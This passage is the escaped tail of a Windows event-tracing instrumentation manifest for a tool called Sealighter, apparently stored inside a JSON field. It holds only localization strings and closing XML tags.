value=\"Operational\"></string>\n\t\t\t\t<string id=\"SEALIGHTER_PROVIDER.Keyword.SEALIGHTER_REPORT.message\" value=\"Report on events\"></string>\n\t\t\t\t<string id=\"SEALIGHTER_PROVIDER.Keyword.SEALIGHTER_CONTROL.message\" value=\"Control Sealighter\"></string>\n\t\t\t</stringTable>\n\t\t</resources>\n\t</localization>\n</instrumentationManifest>\n"
  }
]